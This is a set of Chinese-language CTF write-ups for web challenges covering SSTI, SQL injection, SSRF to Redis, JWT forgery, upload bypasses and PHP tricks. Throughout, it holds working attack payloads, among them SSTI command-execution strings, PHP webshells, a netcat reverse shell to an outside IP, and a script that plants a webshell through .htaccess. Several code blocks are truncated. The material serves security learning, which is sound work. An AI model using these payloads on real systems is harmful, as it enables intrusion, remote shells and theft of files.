[GYCTF2020]FlaskApp
2020.12.3
考点
ssti 注入
https://www.cnblogs.com/leixiao-/p/10227867.html
通用注入
做题步骤
1 | # 查看更目录 |
更具题目名字知道是 python 的题目
打开网站测试功能
发现在 解密中 如果我们随便输入值,如果不能base64 解密的
会产生报错
关键报错信息。
但是 加密处没有 报错信息。
发现 解密的时候 我们的结果会直接输出,但是有一个 waf。如果触碰到 就会 打印no no no!!
所以我们可以利用我们的 ssti 先base64 加密然后在利用解密之后 会显示的办法得到 可能用到的信息。
测试
首先利用 2 在我们的加密中加密后 复制到 解密里面运行
发现返回 2 说明是存在 ssti 注入的
测试一般会利用的 ssti 注入代码
1
"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['open']('ls').read()
返回 nonono 发现不能使用 应该是被过滤了
测试下面读文件代码 发现可以使用
1
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
看看能不能读 app.py (根据报错得到的文件名 的代码
1 | from flask import Flask,render_template_string |
然后 发现 waf 里面的字符串 为
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
利用字符串 拼接绕过
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %} |
发现里面的 flag 文件名字
this_is_the_flag.txt
然后去得到 flag 的值
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %} |
[GWCTF 2019]枯燥的抽奖
2020.12.3
考点
做题步骤
点击check 发现会执行 check.php 的内容 直接访问 check.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
303sLGMz8yD1
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");当我们的输入 等于 $str 才能得到 flag。
利用到了 mt_rand 来随机获取 str_long1 的字符串
直接搜索 mt_rand php 伪随机
https://www.freebuf.com/sectool/205240.html
利用 seed 爆破工具
https://www.openwall.com/php_mt_seed/ 利用版本 4.0 爆破
利用这个工具。首先我们要得到 生成随机的随机数是什么。
1
2
3
4
5
6
7
8str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='y1SbUgTiip'
res = ''
for i in str2:
j = str1.index(i)
res += str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
print(res)
# 24 24 0 61 27 27 0 61 54 54 0 61 1 1 0 61 56 56 0 61 6 6 0 61 55 55 0 61 8 8 0 61 8 8 0 61 15 15 0 61然后爆破随机数
利用已经有的 随机数 再利用 php_mt_seed 爆破工具得到 对应的 seed
然后利用这个 seed 在写一遍 php代码得到我们需要的 $str 的值 (直接复制源代码
1
2
3
4
5
6
7
8
9
10
mt_srand(974665459);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";
# <p id='p1'>y1SbUgTiipcjjNSNLKLF</p>得到对应的随机数
直接输入。得到flag
[CISCN2019 华东南赛区]Web11
2020.12.3
考点
Smarty的ssti注入
模板注入 总结
https://www.cnblogs.com/bmjoker/p/13508538.html
做题步骤
先抓包
根据网页的提示 利用 X-Forwarded-For 来构造 ip
我们修改为
X-Forwarded-For: {{7+7}}
返现返回包为
返回的是 14。说明存在 ssti 注入
为了验证是什么模板
测试返现是 Smarty 的模板注入。
利用 得到 flag
1 | {if system('cat /flag')}{/if} |
[极客大挑战 2019]RCE ME
2020.12.4
考点
取反 命令执行
Disable_function 绕过
做题步骤
登录后 有个 源代码
1 |
|
只能输入 A-Z a-z 0-9 的字符串
这里我们可以利用取反得到对应的字符串
最后会调用一个 @eval
函数。
利用取反得到 字符串
1
2
3
4php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
(%8F%97%8F%96%91%99%90)();
/?code=(%8F%97%8F%96%91%99%90)();发现命令实现调用
说明是可以 命令执行的 且发现是 php7
所以利用相同办法 构造 shell。
1 |
|
这里我们利用assert 调用。因为 eval 不能动态调用。
所以我们要用 assert 来命令执行。
从而蚁剑链接。
发现根目录下 /flag 没有东西
尝试使用 /readflag 发现不能使用
发现 disable_function 很多不能调用。
1 | pcntl_alarm,pcntl_fork,pcntl_waitpid, |
利用蚁剑绕过
[BSidesCF 2019]Futurella
2020.12.4
考点
无
做题步骤
直接查看源码
得到flag
[MRCTF2020]套娃
2020.12.5
考点
%20 绕过下划线过滤
然后用 %0a
php 为序列号
做题步骤
打开网站什么都没有
查看源代码
发现提示
内容规定我们传入的值 不能有 _ (下划线) 但是我们传入的参数又是有 下划线的
所以我们这里要学习绕过下划线 利用 %20 这样可以绕过第一个 if 判断
然后我们要利用 %0a 来绕过第二个里面 的 正则判断。因为要让他 用23333 开头 23333 结尾
Payload = b%20u%20p%20t=23333%0a
然后发现有个提示 在 secrettw.php 里面
访问后发现提示
还是先看源码
发现 有 jsfuck 的注释
运行看看 发现弹窗。 post 一个 Merak
得到 新的显示
1 |
|
简单看下代码。
ip 可以利用 xff 绕过
file_get_contents($_GET['2333'])
可以利用 data 伪协议绕过
Change 利用简单脚本可以得到 flag 的值
先绕过 23333 的值
?2333=data:text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
然后绕过
change
1 |
|
file=ZmpdYSZmXGI=
最后添加 xff 或者 Client-ip 标签
测试发现 xff 不能得到 flag
利用 client-ip 可以
Client-ip: 127.0.0.1
[WUSTCTF2020]颜值成绩查询
2020.12.5
考点
利用 ^ 异或实现盲注
做题步骤
输入1 有回显。
输出错误没有报错
发现 可以利用 ^ 来实现功能注入。
1 | import requests |
得到 flag
[CISCN2019 总决赛 Day2 Web1]Easyweb
2020.12.6
考点
robots.txt 文件
文件备份
sql 盲注
Php 短标签
做题步骤
测试 不知道怎么注入。
发现 robots.txt 里面有 bak 的备份文件
但是访问index.php.bak 没有结果
查看Index.php 源代码 返现 有个 image.php user.php
访问对应的 Bak 文件
只有image.php.bak 能够下载 image.php.bak
查看对应代码
1 |
|
发现里面有一个 sql 语句,且这个sql语句 基本不存在过滤
测试发现可以利用 盲注达到目的
还有一个 字段是 password
1 | import requests |
得到密码后
登录
发现有个文件上传
上传为伪造成 jpg 的一句话
发现上传的文件变成了 .php
结尾的
发现这样不能被访问。
蚁剑无法连接
但是提示我们传入的 文件名为 a.jpg
上传的用户是 admin
猜测是讲我们的 输入存入了 .log.php
中
修改 filename 为 <?php eval($_POST['jly']);?>
发现不能传输
然后把 php 删掉 <? eval($_POST['jly']);?>
能够用上传 说明不能出现 php 字符串利用 php 短标签
<?=@eval($_POST['jly']);?>
发现可以上传
用蚁剑链接这个地方
发现能够获得权限
查看flag
[BSidesCF 2019]Kookie
2020.12.7
考点
Cookie 设置
做题步骤
一个登陆页面 提示是 admin 登陆
然后根据提示我们利用抓包测试
然后cookie里 添加 monster=admin
发现有对应输入的 username 和 password的时候不能执行
如果只是抓login 的包 不输入 username 和 Password
返回包我们会看到 set-cookie 里面有个 username=;
说明我们还要加入 username
添加后查看返回包 得到 flag
[FBCTF2019]RCEService
2020.12.7
考点
json 解析 (学习json https://www.cnblogs.com/skysoot/archive/2012/04/17/2453010.html)
prce
题目源码分析
preg_match 绕过方式。
做题步骤
打开网页
可以执行 {"cmd":"ls"}
提示有个 index.php
查看 wp 说的是 题目是存在 源码的
1 |
|
代码中过滤了很多东西
但是 在代码开头 利用
1 | putenv('PATH=/home/rceservice/jail'); |
修改了对应的环境变量,我们只能用 绝对路径
来调用系统命令。
preg_match
的绕过。可以直接利用 多行绕过。
对于burp 抓包传值需要 Url 编码不能有空格
因为测试 发现 {"cmd":"ls"}
可以使用 我们去查看PATH 路径下的东西
1 | {%0A"cmd":"ls /home/rceservice/jail"%0A} = %7B%0A%22cmd%22%3A%22ls%20/home/rceservice/jail%22%0A%7D |
回显说明在这个目录下 存在 ls 命令
我们再去查看 下一个路径
1 | {%0A"cmd":"ls /home/rceservice"%0A} = %7B%0A%22cmd%22%3A%22ls%20/home/rceservice%22%0A%7D |
得到 flag 文件的路径。
然后我们要去查看这个 flag
因为修改了 path 地址
所以我们要用 cat 的绝对地址来得到值。/bin/cat 这样一个一个测试
1 | {%0A"cmd":"/bin/cat /home/rceservice/flag"%0A} = %7B%0A%22cmd%22%3A%22/bin/cat%20/home/rceservice/flag%22%0A%7D |
得到 flag
[GKCTF2020]EZ三剑客-EzWeb
2020.12.7
考点
Redis 写文件
ssrf
做题步骤
查看网页源码。发现一个注释 ?sercrt
访问这个目录
发现有很多 路由表信息
1 | eth0 |
对于这个数据 是 ifconfig
的结果
猜测应该是 ssrf 的漏洞利用
https://xz.aliyun.com/t/2115#toc-2
尝试利用 file 协议看看能不能读到文件 file:///etc/passwd
这样不能读 但是利用 file:/etc/passwd
就能绕过执行
发现成功读取到了
说明存在 ssrf 漏洞
尝试读取 index.php 文件 利用 file:/var/www/html/index.php
然后查看源码发现注释
1 |
|
代码里面过滤了file协议、dict协议、127.0.0.1和localhost 没有过滤http协议和gopher协议
利用 ssrf 去访问 内网存活的 服务。 http://10.215.43.x
然后
扫描得到
发现我们需要去扫描端口
说明我们要找的就是 10.215.43.11
然后还要扫描这个的端口。
然后对端口进行扫描
发现6379端口
发现有个报错
是一个 redis
https://www.cnblogs.com/-chenxs/p/11749367.html
Gopher
协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
利用 redis 的绝对路径写 shell
1 | import urllib |
然后输入框输入就能写文件了
然后 http://10.215.43.11/shell.php
得到 flag
[BJDCTF 2nd]duangShell
2020.12.7
考点
.swp 备份
反弹shell 的方法
做题步骤
有个 .swp 泄露 (因为 vi 编辑防止意外关闭所产生的文件。
访问 .index.php.swp
下载备份文件
利用 vim -r 文件名
回复文件
1 | <!DOCTYPE html> |
需要反弹 shell
可以直接 利用 nc -e 参数
nc 47.95.28.118 8888 -e /bin/bash
girl_friend=nc 47.95.28.118 8888 -e /bin/bash
反弹shell看wp害看到另一种方法
然后找到 flag
[BJDCTF 2nd]elementmaster
2020.12.8
考点
没啥学的
做题步骤
打开网站
查看源码
有两个 Id 应该是 hex 16进制
一个是 php
一个是 Po.
题目名字为 可能是和 元素有关。 Po 对应就是元素周期表的 元素。
(不会了 看了wp 发现很脑洞
1 | #coding:utf-8 |
得到 一个 php
访问这个 得到的 php 名字
查看wp 知道
跑出来是这个 但是和 我们对应的 不一样 我们需要访问的 是 And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php
[网鼎杯 2018]Comment
2020.12.8
考点
https://blog.csdn.net/a3320315/article/details/104216070
Git 泄露
二次注入
sql 多行代码不能用单行注释符
sql load_file 读取文件
做题步骤
测试功能等。
爆破得到 登录账号 用户名 zhangwei
密码 zhangwei666
然后可以留言。
扫描目录
发现有个 .git 泄露
得到 文件
得到 write_do.php
源码
1 |
|
根据源码。可以知道数据库有 两个表 board
comment
在 write 的时候 category
title
content
这三个变量可控
在 comment 的时候 会直接从 board 里面取出来 category
直接拼接。我们可以利用 category
的内容来实现 2次注入
(控制 content
的值为 sql 语句的内容) 这样网页显示的时候 就会实现sql 注入。
且以为 这里的 sql 语句是多行的。 所以我们之前所用到的 单行朱师傅 # 不能被使用。
我们只能使用 多行注释符 /**/
这样来实现注入。所以我们这里 需要的就是 利用我们的可控点 修改 comment
里面的 insert 语句
比如
我们输入write的时候让 $category = ',content=xxxx,/*
在comment的时候让 $content = */#
*/
闭合前面的多行注释。 # 注释后面的 ',
内容。
1 | $sql = "insert into comment |
这样我们的 sql 语句读取 content 的内容时 就会执行 xxxx 的功能。(不在是单存的字符串
接着我们先查看 题目的 权限
留言
',content=user(),/*
然后点击详情留言
*/#
得到
说明是 root 权限
说明 我们的 flag 应该不是在 sql数据库中,我们要利用 数据库去找到 系统里面的 flag 的位置
然后查看服务器中 有哪些用户
重新创建 留言文章
',content=(select load_file('/etc/passwd')),/*
详细留言
*/#
得到 服务器上的 用户
可以发现最后有个 www 用户
这个用户会用到 /bin/bash
我们查看 www 目录的 命令历史
重新创建 留言文章
',content=(select load_file('//home/www/.bash_history')),/*
详细留言
*/#
发现 创建了一个 .DS_Store 文件
然后是 cd 到 /tmp 目录下 进行的 解压等操作 让讲文件 cp 到 /var/www/html 然后删除了 /var/www/html 里面的 .DS_Store 文件
但是我们的 /tmp/html 中还保存着 .DS_Store 文件
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。
我们需要读取这个 文件的 内容获得 一些有用信息
这里需要 读取文件 内容 用到 load_file
重新创建 留言文章
', content=(select load_file('/tmp/html/.DS_Store')),/*
发现这样不能显示完我们的内容 因为文件内有 \x00 不能吧能容全部显示、
要要利用 hex 转义然后输出 才能得到 全部内容
重新创建 留言文章
', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
利用 php hex2bin 转义
看到有一个
flag_8946e1ff1ee3e40f.php
文件名的文件应该就是一个 flag
再次利用去读取里面的值
',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
得到 flag
[Zer0pts2020]Can you guess it?
2020.12.9
考点
绕过 basename 函数
做题步骤
打开网页有个 source 可以看到源码
1 |
|
其中满足条件的一个方法是 我们 post 传入的 guess 和 随机数相同能得到 flag
使用的对比是hash_equals函数,而不是===,hash_equals相较于===,它对比使用的时间是固定的,而===是逐位比较,这个函数可以防止攻击者通过时间来猜测字符串长度
说明这个猜测 secret 的值是不能实现的。
那么我们的利用点就在上面的代码
1 |
|
然后前面可以知道 flag 在 config.php 中。我们直接访问。config.php
发现访问 config.php 看不到回显。
$_SERVER['PHP_SELF']
返回的是当前正在执行的脚本的名字
然后会进行一个 正则匹配。 匹配 $_SERVER['PHP_SELF']
的返回值的 结尾是不是 /config.php/
如果是就退出 (/i 大小不敏感
后面的 显示内容用的是 highlight_file(basename($_SERVER['PHP_SELF']));
利用了 basename
basename
则可以返回路径中的文件名部分
假如路径是/index.php/config.php
那么浏览器的解析结果都是index.php
而basename会返回config.php
对于 basename 的绕过 https://bugs.php.net/bug.php?id=62119
可以利用不可显示字符绕过 basename
可以使用 /index.php/config.php/蒋?source
蒋这个位子可以为 中文也可以是 不可显示ascii字符 的url
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
2020.12.9
考点
Sql 二次注入
报错注入带出flag
sql root 权限 flag 一般为系统中的文件。
做题步骤
测试功能没啥特别的
查看源码 发现一个
猜测 伪协议。
php://filter/read=convert.base64-encode/resource=index.php
读取 所有文件 并base64 解密
将
index.php
change.php
search.php
delete.php
然后进行代码审计
发现基本都是数据库操作。
然后发现 是引入了
config.php
我们去读里面的内容通过这个 config.php 的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);得到我们的 数据库 权限是 root (一般情况下 如果权限为 root 说明我们的flag 应该是系统文件。
然后我们发现我们的代码sql 语句中。
confirm.php
中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}会对 我们的 user_name 和 phone 进行比较 判断是否存在 sql 注入代码。但是并没有对 address 的内容进行 匹配
change.php
中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}如果我们 这里会保存我们原本存储的 address 。且也是没有对我们的 address 进行一个比较处理。
说明如果我们输入的 address 存在一个 sql 语句 在执行 change.php 的内容的时候会调用 之前的 address的内容。从而产生一个 二次注入。
我们直接在 创建的 时候 address 为如下 payload 然后再去执行修改 订单就行
1
21' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
[HITCON 2017]SSRFme
2020.12.10
考点
GET如何来执行系统命令
要执行的命令先前必须要有以命令为文件名的文件存在
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/#ssrfme
https://mayi077.gitee.io/2020/03/25/HITCON-2017-SSRFme/
漏洞修复 是在 file.pm
中 open(my $fh,'<', $path) or return new
加一个 <
原本的漏洞 open(my $fh, $path) or return new
做题步骤
查看代码
1 |
|
创建一个 sandbox 名字为 md5(orange+ip)
根据 shell_exec
调用 GET 命令 取得 url 参数的值。
然后更具 filename
pathinfo
函数以数组的形式返回文件路径的信息。
GET命令是通过perl执行的;perl在open当中可以执行命令;GET+file协议
触发perl+open
测试
1 | /?url=/etc/passwd&filename=1 |
实现命令调用
这样可以实现文件读取
要实现调用 /readflag
我们要用到 GET 的 file 协议
和 bsah -c
1 | /?url=file:bash%20-c%20/readflag|&filename=1 |
[V&N2020 公开赛]HappyCTFd
2020.12.11
考点
是一个 ctfd 漏洞 找到下面漏洞
CVE-2020-7245 CTFd v2.0.0 – v2.2.2 account takeover
https://www.colabug.com/2020/0204/6940556/amp/
使用的用户名是从post数据中直接得到的name值,然而入库时却将这个name值做了
strip
处理去掉首尾的空字符。因此我们只要注册一个首位加空格的用户名即可绕过用户名不能重复的限制。利用修改密码进行修改。
做题步骤
- 利用添加空格绕过限制来注册一个与受害者用户名相同的账号
- 生成忘记密码链接发送到自己的邮箱
- 将自己的账号的用户名改成与被攻击者不相同的用户名
- 用邮箱中收到的链接更改密码即可。
这道题需要用到 buu 的内置 邮箱
http://mail.buuoj.cn/admin/ui/user/settings 注册
http://mail.buuoj.cn/?_task=mail&_mbox=INBOX 访问接受 修改密码的邮箱
下载得到 flag
[HFCTF2020]EasyLogin
2020.12.11
考点
Koa 目录结构
Jwt 伪造
https://www.yuque.com/u390550/hsy6gq/uo89e5
做题步骤
打开网站 不能 注册 admin 账户。
注册后有个 getflag
查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24<html>
<head>
<title>Home</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css"/>
<link href="/static/css/app.css" rel="stylesheet"/>
<script src="/static/js/bootstrap.min.js"></script>
<script src="/static/js/jquery.min.js"></script>
</head>
<body>
<div class="wrapper fadeInDown">
<div id="formContent">
<div class="fadeIn first">
<h2>Welcome admin</h2>
</div>
<form>
<input class="fadeIn second" type="text" id="flag" name="flag" placeholder="The flag will be here..."/>
<br/><br/>
<input class="fadeIn third" type="button" value="Get Flag" onclick="getflag()"/>
</form>
<div id="formFooter"><a class="underlineHover" onclick="logout()">退出当前账号</a>
</div></div></div>
<script src="/static/js/app.js"></script>
</body>
</html>有个 app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}根据这个
api.js
利用的koa-static
谷歌发现 是一个 Node.js 的中间件然后就是简单的函数调用等。
利用 dirsearch 扫描
访问 app.js
得到
1 | const Koa = require('koa'); |
然后没有了 思路
看了wp
知道有个 /controllers/api.js
目录
得到 对应源码
1 | const crypto = require('crypto'); |
这才是 关键代码。发现需要我们的 username 为 admin (利用session 来验证,如果是 admin 才能得到 flag
然后发现我们的 token 都是利用的 jwt
且 jwt 是登陆的时候 产生的。抓包发现 会向服务器 传一个 authorization
利用 Jwt 解密
发现就是我们 传入的 username password
JWT 存在几种攻击手段,这个题利用的是 将加密方式改为’none’ 的那种
签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。一些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+’.’+ payload +’.’)并将其提交给服务器。
exp
1 | import jwt |
修改 对应的内容后 登录发现能成功
添加对应的 返回值
sses:aok.sig
sses:aok
登录自己的账号
然后修改里面的 cookie
然后点击 GET FLAG
抓包
go
得到 flag
[SUCTF 2019]EasyWeb
2020.12.12
考点
无符号 get shell
文件上传
.htaccess
文件上传
php_value auto_append_file
绕过 php
<?
利用 base64 绕过
https://www.wh1teze.top/articles/2020/02/04/1580806413437.html
绕过 open_basedir
做题步骤
得到 代码
1 |
|
有个 命令执行 可以利用 无符号get shell
可以利用 异或 构造 $_GET[‘a’] 这样的 结构。
${_GET}{a}();
于是我们先知道 他只能使用哪些字符串
1
2
3
4
5
6
7
for($a = 0; $a < 256; $a++){
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($a))){
echo chr($a)." ";
}
}
# 可显示 ! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } 还有不在 ascii 范围的。不可显示因为这里过滤了 取反。所以 我还能使用 异或来构造
1
2
3
4
5
6
7
8
9
10
$payload = '';
$x = '_GET';
for($i = 0; $i < 4; $i++){
$payload .= "%".dechex(ord($x[$i]^chr(0xfe)));
}
echo("%ff%ff%ff%ff^".$payload);
# %ff%ff%ff%ff^%a0%b8%ba%ab
# ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo执行 phpinfo
然后直接查看 phpinfo 就能得到 flag(可能是 非预期
预期解
然后根据源码。我们知道这里我们要调用
get_the_flag
函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}这个函数 会有一个 目录
upload/tmp_md5(ip)
然后会上传一个 file 文件。 这个文件的文件名不能存在ph
字符 和i
字符所以这里 我们不能上传
php
文件 也不能传参.user.ini
而且检测了 我们的文件内容里面不能有
<?
(这个可以利用<script language='php'>
实现绕过只能是 php5 因为题目为 php7 所以不能使用<script>
进行绕过 )且利用了
exif_imagetype
函数。所以我们的上传文件 必须要 伪造文件头。1
2
3
4
5方法一
#define width 1337
#define height 1337
方法二
\x00\x00\x8a\x39\x8a\x39 #wbmp文件文件上传绕过。于是我们可以知道。我们只能上传 内容没有
<?
的 文件名不包含ph
和i
的这个时候我们知道的就只有
.htaccess
这个配置文件。从而能够解析其他后缀名的文件。且利用.htaccess
对弈
.htaccess
的exif_imagetype()
函数绕过中,因为.htaccess
是配置文件所以 文件头不能用 配置文件不能识别的字符。所以只能用上面的方法一
方法二
不能使用GIF
这样的方式绕过。然后是绕过
<?
过滤 因为不能有这个也不能使用<script language='php'>
所以我们可以先传一个 一句话木马的base64 的文件。然后在利用.htaccess
的 伪协议对 一句话的base64 解密 并加到文件中。从而来实现写入<?php
这样的php 内容的头查看 wp 学习的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26import requests
import base64
url = "http://d64e865c-d5ba-45f1-b9ec-e4fb80ae2ccf.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .ss
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/shell.ss"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['s']);?>")
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)
files = [('file',('shell.ss',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)上传成功
执行能够查看 phpinfo();
然后程序 设置了
说明我们不能去查看其它目录
直接读取 /
目录文件 不能得到
但是可以绕过
还有一点
open_basedir对系统函数并没有做相关的限制,我们用系统函数可以绕过。
还可以利用 先知文章的方法进行绕过
s=chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
继续查看。
s=chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/THis_Is_tHe_F14g'));
对应的 THis_Is_tHe_F14g
文件
得到 flag
[CSCCTF 2019 Qual]FlaskLight
2020.12.12
考点
有 ssti 注入
做题步骤
知道是 flask
首先根据 源码 知道要 get传参 search
/?search={{2*2}}
页面返回了 4 说明存在 ssti 注入
先查看 有哪些类
1 | {{''.__class__.__mro__[2].__subclasses__()}} |
得到 很多的 类
发现里面没有 __init__
这样的
所以一般的 ssti 注入的 不能被使用了
查看 wp https://yanmymickey.github.io/2020/04/15/CTFwp/%5BCSCCTF%202019%20Qual%5DFlaskLight/
知道 还可以使用 subprocess.Popen
执行命令
1 | import requests |
找到 这个函数的 索引为 258
1 | ?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} |
[GYCTF2020]Ezsqli
2020.12.13
考点
sql 盲注
information_schema
被禁用 https://www.anquanke.com/post/id/193512
https://nosec.org/home/detail/3830.html
1 | select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database() |
无列名爆破
